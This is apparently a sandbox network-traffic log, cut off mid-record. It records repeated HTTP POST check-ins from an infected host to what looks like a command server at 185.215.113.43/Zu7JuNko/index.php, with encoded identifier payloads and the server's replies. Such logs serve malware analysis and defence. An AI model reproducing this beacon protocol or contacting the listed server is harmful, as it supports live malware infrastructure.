Nov 22, 2024 04:16:44.500705004 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:45.846954107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	50336	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:47.602544069 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:49.035497904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	50337	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:50.678823948 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:52.062793016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	50339	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:53.798862934 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:16:55.188884974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	50340	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:16:56.817418098 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:16:58.673796892 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 22, 2024 04:16:58.673919916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	50342	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:00.419897079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:01.806279898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	50343	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:03.439985991 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:04.821149111 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	50345	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:06.563241005 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:07.939786911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	50346	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:09.583092928 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:11.009886026 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	50347	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:12.779158115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:14.156558037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	50351	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:15.798857927 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:17.144191980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	50352	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:18.878452063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:20.265552998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	50353	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:21.896595955 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:23.278111935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	50355	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:25.016503096 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:26.436427116 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	50356	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:28.075407982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:29.410254002 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	50357	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:31.886472940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:33.226099968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	50359	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:34.857170105 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:36.245250940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	50360	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:37.997339964 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:39.420099974 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	50361	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:41.055958033 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:42.492811918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	50363	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:44.237668037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:45.624892950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	50364	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:47.254626036 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:48.635407925 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	50365	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:50.476192951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:51.816621065 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	50367	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:53.451472044 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:17:54.832578897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	50368	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:56.568989992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:17:58.038233042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	50370	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:17:59.667761087 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 